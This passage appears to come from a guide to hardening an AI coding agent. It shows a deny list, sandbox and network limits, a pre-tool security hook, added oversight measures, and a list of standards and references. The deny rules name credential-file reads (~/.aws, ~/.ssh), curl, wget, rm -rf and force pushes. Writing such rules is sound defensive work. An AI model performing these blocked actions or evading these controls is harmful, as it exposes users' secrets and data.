"Read(./secrets/**)",
"Read(~/.aws/**)",
"Read(~/.ssh/**)",
"Edit(./.env*)",
"Bash(curl *)",
"Bash(wget *)",
"Bash(sudo *)",
"Bash(rm -rf *)",
"Bash(git push --force*)",
"Bash(git push origin :*)"
]
},
"sandbox": {
"enabled": true,
"autoAllowBashIfSandboxed": true,
"filesystem": {
"denyWrite": ["//etc", "//usr/bin", "//usr/local/bin"],
"denyRead": ["~/.aws/credentials", "~/.ssh"]
},
"network": {
"allowedDomains": [
"github.com",
"*.npmjs.org",
"api.anthropic.com",
"registry.yarnpkg.com"
]
}
},
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "$CLAUDE_PROJECT_DIR/.claude/hooks/security-validator.sh"
}
]
}
]
}
}Add to the above:
- Managed settings deployed via system-level config (cannot be overridden)
"disableBypassPermissionsMode": "disable"- HTTP audit hooks to central SIEM
- OpenTelemetry metrics export
- DevContainer with custom firewall for all development
- Mandatory human code review for all AI-generated changes
- SAST/DAST scanning in CI pipeline
- NIST AI Risk Management Framework (AI RMF 1.0)
- NIST SP 800-53 Rev. 5 — Security and Privacy Controls
- ISO/IEC 42001:2023 — AI Management Systems
- ISO/IEC 27001:2022 — Information Security Management
- OWASP Top 10 for LLM Applications 2025
- CSA Agentic Trust Framework — Zero Trust for AI Agents
- Claude Code Permissions
- Claude Code Sandbox
- Claude Code Hooks
- Claude Code MCP Servers
- Claude Code Best Practices
- Claude Code Memory
- Claude Code CLI Reference
- Claude Code Subagents
- Claude Code Skills
- OpenSSF Security-Focused Guide for AI Code Assistant Instructions
- AWS Well-Architected: Least Privilege for Agentic Workflows
- NIST AI RMF Playbook
- How to Secure AI Coding Assistants — Knostic
- Least Privilege for AI Operations — Nightfall AI
- Best Practices for Authorizing AI Agents — Oso
- Zero Trust Agent Architecture — Microsoft